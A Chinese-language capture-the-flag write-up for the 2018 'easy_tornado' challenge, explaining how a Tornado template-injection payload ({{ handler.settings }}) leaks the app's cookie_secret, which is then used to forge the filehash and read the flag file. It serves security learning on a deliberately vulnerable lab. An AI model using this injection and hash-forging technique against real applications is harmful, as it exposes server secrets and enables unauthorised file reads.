2018護網杯easy_tornado(BUUCTF提供復現)

進入頁面:
在這裏插入圖片描述

然後依次看一下:
1)/flag.txt
網頁內容:

/flag.txt
flag in /fllllllllllllag

url:
file?filename=/flag.txt&filehash=9f1a5c8c40be3aafbc5e719d151b1d36

這個頁面告訴我們,flag在/fllllllllllllag文件中

2)/welcome.txt
網頁內容:

/welcome.txt
render

url:
file?filename=/welcome.txt&filehash=290d383abaf5f98a0a858eeb99973a88

3)/hints.txt
網頁內容:

/hints.txt
md5(cookie_secret+md5(filename))

url:
file?filename=/hints.txt&filehash=9c2c1e4ce37d7753784d1cdca61cd10f

從上面三個頁面來看

  • flag在md5(cookie_secret+md5(filename))文件中
  • url中的filehash是md5(cookie_secret+md5(filename))

也就是說我們要向讀取到文件,payload是這樣的:
file?filename=/fllllllllllllag&filehash=**********************

******************的內容是md5(cookie_secret+md5(/fllllllllllllag))

所以我們的差的就是cookie_secret了,下面開始拿cookie_secret

通過源碼和請求頭並沒有看到任何的cookie_secret信息,當我們嘗試讀取flag的時候:只修改filename爲/fllllllllllllag,出現了報錯:
在這裏插入圖片描述
題目是easy_tornado,/welcome.txt頁面也看到render,可能會是SSTI模板注入
SSTI模板注入詳解
嘗試進行驗證:
傳遞error?msg={{2}},頁面出現2
傳遞error?msg={{2*3}},頁面出現ORZ(但並不是cookie)
嘗試除和減操作符也是)返回ORZ,說明是操作符背過濾了。

那麼tornado中的cookie通過模板注入要怎麼拿到呢?
用的就是handler.settings對象

handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!

傳遞error?msg={{ handler.settings }}得到:

{‘autoreload’: True, ‘compiled_template_cache’: False, ‘cookie_secret’: ‘93881405-8942-4355-9d77-09906cf0fcd6’}
這樣就拿到cookie_secret了

然後傳遞file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))
這樣就拿到flag了。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章